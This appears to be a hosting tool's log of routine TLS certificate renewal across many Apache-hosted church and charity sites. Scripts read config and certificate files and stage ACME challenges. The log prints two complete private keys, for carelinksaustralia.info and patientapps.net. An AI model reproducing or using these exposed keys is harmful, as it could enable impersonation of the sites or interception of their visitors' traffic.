         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:01:03: 

PUT: /tmp/pkp154187

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:01:03: 

chmod 755 /tmp/pkp154187; /tmp/pkp154187; rm /tmp/pkp154187

2026-04-23 06:01:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf	1362

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-23 06:01:03: 

PUT: /tmp/pkp469433

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:01:03: 

chmod 755 /tmp/pkp469433; /tmp/pkp469433; rm /tmp/pkp469433

2026-04-23 06:01:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt	5409
e4:36:0e:87:31:f3:ee:a0:83:90:4e:68:75:66:f7:6d

-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgISBS1Sr/dQXXdDU+AwurE3MUJ8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIzMDUwMjMxWhcNMjYwNzIyMDUwMjMwWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJkQmZ25P9YHu1HnsyjFKqq9g63+lvgc3BTLM0VQh6omsKDWf4SV
pcDxVibYpAU88UZYmfxCjS3L2RQ2+o0daENaLjbM87nuaXOmsyHenX2nVrtn0+xA
CS/cotIKV4uz34tMXaGNhTM/c0EP/OBDZuRtwkTErkW7TNMNU/DV2a7yf0AatZsM
BK1LKEtvbPTOxCf7qonlG1/sIonqdL0ndQm3IWiWKElSeRCusbMM+6QujE90BY7p
QLV+SbCa4HwZRx60Id/A5T0mQuLasFU3aZNMhKnojnOl5fiBJP+2xhaxg03h5zW4
7N/F2Yj7KQQKrx8W8lCayXCCbM+am57Z/V8CAwEAAaOCAkIwggI+MA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBSIUq3shoK7K+aqVa+EJCUHVvRDADAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMD8GA1UdEQQ4MDaCF2NhcmVsaW5rc2F1c3RyYWxpYS5p
bmZvght3d3cuY2FyZWxpbmtzYXVzdHJhbGlhLmluZm8wEwYDVR0gBAwwCjAIBgZn
gQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8x
MjUuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGduO1vHwAABAMARzBFAiAt755EKq39EK03RFRu
4atYyd0d4aUxjGUtGK0RAETs7gIhAI03OhHM7WxjVRmKZfoaQ4/cR68QQH49+tzr
Ybz8MfLkAH0ARq+GPTs+5Z+ld96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGduO1v
WgAIAAAFAASjHYMEAwBGMEQCIBuJZqtJSUOy/QbfNdu0QHF2EfyiNkB+xedbMTok
tHewAiBrPQ8dqjF6kP4VgQRLDtz0Zgc7AhpZgOufykdQ0OVU/jANBgkqhkiG9w0B
AQsFAAOCAQEAZWaiialcQHF9Vxg2pqfoON6YdWpA/CKTRRZXle5qvb18fxA/dQ9s
445fOB9vxunvxAgg+GQjfX7GP/0ReR7JHz58s5b8EcGRC9/JALkh88Hd79MxIPrn
vXD18ct9iU/jklSoG4M2T/RUsDensdbMp56bUZviWo0+T/qC/4QApBHkJjCIj99m
IiMlJjacGrqBZP14EjEunsLv5qvEM4xZYCge/c/rEAScXdGZd6FkLjX8UD4uD2RY
8HbpDw4zpP85RJHB7WJwhVWEO960SqGplnXkp9YnytIHw28M5wYEld133+1pZF2I
5q4rC4oa4zWQbqtJ8sMtr27Ra44Cevpv6Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCZEJmduT/WB7tR
57MoxSqqvYOt/pb4HNwUyzNFUIeqJrCg1n+ElaXA8VYm2KQFPPFGWJn8Qo0ty9kU
NvqNHWhDWi42zPO57mlzprMh3p19p1a7Z9PsQAkv3KLSCleLs9+LTF2hjYUzP3NB
D/zgQ2bkbcJExK5Fu0zTDVPw1dmu8n9AGrWbDAStSyhLb2z0zsQn+6qJ5Rtf7CKJ
6nS9J3UJtyFolihJUnkQrrGzDPukLoxPdAWO6UC1fkmwmuB8GUcetCHfwOU9JkLi
2rBVN2mTTISp6I5zpeX4gST/tsYWsYNN4ec1uOzfxdmI+ykECq8fFvJQmslwgmzP
mpue2f1fAgMBAAECggEALvEzW3bLyBUY8raPcIp/WlvCvaLdo/wd1ta2w6Q95wX0
l28RLpVCf1jEZid8rgqRqFRV7VJvv8LLsXJnBs4lArruf2n9uWEPwCM4vsNqI3Yl
mFXwXX0KFD6jRK1dSgABJ9Rkxr4DQsNL0oFXuWOSc63hrXtwQvx9RCDLRIohN5C3
kgboAJkMTAyjbgsDLn+m0nOsJ8dCB77HASCNkkr6Ik+RGtq719d8ulXpOVAV2Lk8
neOc5Yyv0YTTJivY07DG/guZmtr8lj53OHCU88DBWV3QWNzVv/NoEaaQylg9C9Cu
WMYX140c5e553nSrcShfbCGR3ON6w5PnVCwTxMSrOQKBgQDUkng69Gh6scqxXN6o
4YM9SvQ8jTGpultl68QQLEPvrSaTXqjWDDpHj2lZzE19p0S5lDzb62hnoklUx6in
e8RAVN7ATA3avcNGASTHtOpeGGzKgGGziRxqbDOoIKu319Vd1v5x0tl8d1eFmqDs
eE101hRc4XklslDFRjl74UeQQwKBgQC4VeWAJZmhiCThOc9NLqFyOmw8IQI8tkDU
DhNAxu/45RIFShxPzG6Us93cejmpt2GcIFtQFufIhvB5bNzjZvIxGlLRsc1Py+JW
tDD0lPgC+53xyeH3rc4ls0UJnaA2jqxUa3U2Xkm/q18inUzm9+3gHSgoZmO16vf1
DYHiWbIqtQKBgQCu2lxzgh9+7UghZJbyq61ceY81T58OUfBkge6grwii2fblOfP/
PceinWC3MMp9FV3+mOUGsTkMJf3T8vfT7IadtDIWU3kB+R3rM32hmDtAcy7p03iK
SbpJ//7tyRH3A17K9dIOprWnIDOp/mtol/x+oqnVTNJuI6M04nLeZ4yKKQKBgEjz
7cU+nEO6juX4LBvetZRwnL9bTPhcJOIHxATh9r0pY21mfDf0r1r4qHiGguWxJtdU
Uu8qcYcCKI/VzsHMz1MxmM9Wr+vBxA0OeUWC43jCviqf/Gc6iRiQj2UT1gFhi8BJ
WvUucb+Cgj8/w9yxCJqmz2rVwuaPXJzGQL4lQ4b1AoGAfYaqnvxSUBFUZLkftK3o
BGFgL2H25kJPbhxrTi1L4/1oRE25hBkiI1/7GuBhnntZWElHCi9An1EoHyYZFd9X
DsuTob7ga0y3pRwiZO1zJdKiq3knljCaZr6+WCMzotFWFJ6RLvw5P+DA7aRymLNx
T4SD8PTLr232f3wB83eqTgM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-23 06:01:03: Establishing a connection
2026-04-23 06:01:03: Establishing a connection
2026-04-23 06:01:03: 

PUT: /tmp/pkp695034

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-23 06:01:04: 

chmod 755 /tmp/pkp695034; /tmp/pkp695034; rm /tmp/pkp695034

2026-04-23 06:01:04: 


1


2026-04-23 06:01:05: Establishing a connection
2026-04-23 06:01:05: 

PUT: /tmp/pkp315546

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
cat > Q4IlXwzlvVDpB_nWMo-orb99wNDrPYy7aTj5Z37pb5s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Q4IlXwzlvVDpB_nWMo-orb99wNDrPYy7aTj5Z37pb5s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Q4IlXwzlvVDpB_nWMo-orb99wNDrPYy7aTj5Z37pb5s
cat > gyeMGb26i8llpuZgF_x3eXtpbYo4uq6h1B6ezJjw2kE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gyeMGb26i8llpuZgF_x3eXtpbYo4uq6h1B6ezJjw2kE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gyeMGb26i8llpuZgF_x3eXtpbYo4uq6h1B6ezJjw2kE


2026-04-23 06:01:05: 

chmod 755 /tmp/pkp315546; /tmp/pkp315546; rm /tmp/pkp315546

2026-04-23 06:01:05: 




2026-04-23 06:01:12: Establishing a connection
2026-04-23 06:01:12: 

PUT: /tmp/pkp802675

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
rm Q4IlXwzlvVDpB_nWMo-orb99wNDrPYy7aTj5Z37pb5s
rm gyeMGb26i8llpuZgF_x3eXtpbYo4uq6h1B6ezJjw2kE


2026-04-23 06:01:12: 

chmod 755 /tmp/pkp802675; /tmp/pkp802675; rm /tmp/pkp802675

2026-04-23 06:01:12: 




2026-04-23 06:01:12: Establishing a connection
2026-04-23 06:01:12: 

PUT: /tmp/pkp851948

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8.crt

cat > $temp_file <<'endmsg'
ba:06:a8:87:06:b9:ac:81:2d:d0:3d:6f:d9:9c:01:a8

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBY6Kk11hEUgUj0tGr0ItE8WZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIzMDUwMjQwWhcNMjYwNzIyMDUwMjM5WjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyGhR35dItJyfeiFANAAiXw8ldz8WTNKst64u/5DrWWosg1Q0GK+VYmqEvpl8G
SRjLgJw+AeVu8sCLaewnbnRxYPwnfrQPMq8NpEDj1AKE97bT46UnHIp5syD5U5Rp
9aKY1FW0KVR6rFSO1IXU3ArTgmLZ+nRNB2qavO469nKhKtIVlganfjIcr2/CQSs9
/Zxf0/z5exg1Hx34UyTLDobC1Clv93f0hVfKYxjatJy3HOdJvmqV0CIlrcqd7X3u
CyURK61gD+zeF0yDiXRMSIlYSGhSfEu3uPqC3cpwst1D0F9hvZ9mZDHuroE2Y86j
Wr19ZCS2RLbkpBCraMQNvbbjAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUDj2O
lw8dhK0E+Lj6aibfVk1ojggwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM
0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9wYXRpZW50YXBwcy5uZXSCE3d3dy5wYXRpZW50
YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yNi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/
BIH8APoAdwDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ247ZQG
AAAEAwBIMEYCIQDFQL5c+2KJThB65RpPVXv3hdY95nHd2VS8Cw/aP2CqFQIhAPPB
9LVEq12EiSAN66QqsRi4Ec+5kaq0y0jbO+eDBw0pAH8AqCbL4wrGNRJGUz/gZfFP
GdluGQgTxB3ZbXkAsxI8VScAAAGduO2WSQAIAAAFAAf586EEAwBIMEYCIQDD/mLF
LQzKhg5Of3dLE4ntX0W+v265RwdvWjaarqdCQwIhAK/DzPCzuqFwDhz76OjhiCUM
NMTZzAZRV805HPZo9TGWMA0GCSqGSIb3DQEBCwUAA4IBAQAewAkI/vgYi5gxan5W
OfSEqfcmazV0KpvaeTTkCq08fbeQ6tNP7sGsZJ2GIqm8VMVpWe05u66zeJuJom5k
kb8b1pmGcI5ynMkhrL17wKawVtEziUaEAV080bTrzhlcOG0IBruBETu2CUDgsKwu
cIDyAPfUJWs5FrkRRzUprviJt0vIajOs/oWLDKQKegRK6iCg+fxBue3UlRwgDw9U
sRgvcIvoevnr0fSnLPFESzK98Dxf5YQPKUvR6YFgGiZQ6Vlv85PWf4mkAPglUYJ3
05H1AXBN1d3hDFs6GTzUSySfYUUFF7v8ggAB3w5h5oOO1nPhMchlHB7dUVcE7wlx
YL9k
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCyGhR35dItJyfe
iFANAAiXw8ldz8WTNKst64u/5DrWWosg1Q0GK+VYmqEvpl8GSRjLgJw+AeVu8sCL
aewnbnRxYPwnfrQPMq8NpEDj1AKE97bT46UnHIp5syD5U5Rp9aKY1FW0KVR6rFSO
1IXU3ArTgmLZ+nRNB2qavO469nKhKtIVlganfjIcr2/CQSs9/Zxf0/z5exg1Hx34
UyTLDobC1Clv93f0hVfKYxjatJy3HOdJvmqV0CIlrcqd7X3uCyURK61gD+zeF0yD
iXRMSIlYSGhSfEu3uPqC3cpwst1D0F9hvZ9mZDHuroE2Y86jWr19ZCS2RLbkpBCr
aMQNvbbjAgMBAAECggEADvUhwvAKNsCTGJ1aG71k+1n2D2rjrPk/ZxvhILyKNHZm
ONurvFjzaf2Si+3tDRoWewDSHmMKYccBZLQAoU8leGAszSRW+u/Gw96HlJq5m3Ey
aZk0xZQgDRh+LHJYhI2cmjk6+WZ/Mc5HS7eNhdL1Fc5dfvEJ025MBbLYTxtjhSVv
kJc7v9RMVLZujt7z1OWT5pLso0/MJKuFmFivW1VjZ+Msc80rFhHU/OLxlyrD3+4N
r8SqfGzJqYZav2fO6lRT3ArUkVPbe5uVGWN7hUj9B7NxzcpJA30Ye1HNvrB53TdM
sxa8KDz1gLC6sm7VHfFz9BSoRlA/q34ifNfZXsk4AQKBgQDi9hhE4wJL/6bFQPLt
v3CyKTBzz6eGQZe5tG2erqN2RpSXGis08S9RFfuhCqz3x/OGuBCb4J4PbcLUUrP+
mFa+StYLcCN/gNLnlB2oF+s1NNJbWev9sClwDjXT04fdjRByYxhukMAjx4Raqlg6
16xFBk+ZPZOpclXSRGeQEU9EiQKBgQDI46PhcGOE8zseWfrEA1J1jiKkaID9poVt
A/oAtvz7xlxknYlWNhWDCxrjP9PIKF/QTFw219WCzAKTyxsQWgTbmEGC3C7O4KjT
lna7bLaF94g2loNWUbH1+KSQozRGhNXKR2pvZNhA3fHOlgVFzlpKEXhvbSHj+Fx6
K7u0a/BdCwKBgQCPG/X5mdqc6TrTLjz/xLLe5DH1FH7hnQJ6ylZEtIHF1oNjM9EC
tQHM8zuTNBQUuTPJQs7WOy/vMpqjHvL4Gj64BqAo3jDD+QsDktWQZGSfTAtIJs8z
S50VVyCBzOPiw0wXlHyXWxaMeQXv1XGEyPGLJIuUaMtvEPUkfJWAtilxYQKBgBB4
QU5RRYd33YfufpWlZBRJM+PgwXqKNXQrmEqIthL6P0bsd37+7iKRPYIWEInfbYOJ
TyIb7eBMU4XEaBKeHrnWMMDGxnulhZHbSx6wmgI/ugYnrtrb1chBu1Q0XSvO5iww
ULSTQvuGdrWmLQZ9FX/vEL2p59Zl3UcS4M+47brjAoGAM7Pz6/Rj3xDnYLUexzcU
ztNO6fLrDLnWr/GtoVbORy8DXAcxNVS5/QJ18TGfinX6x1/5Y660cLVcsMVU45/n
xWBOH6eTGfOw1oicSIPwV9Gc+8XL9HX2iSJ4eDbgSjkeK0RCOLrTyQ+tTj/3MgTb
Nv9xPBvUm/urURea9qPqOG4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
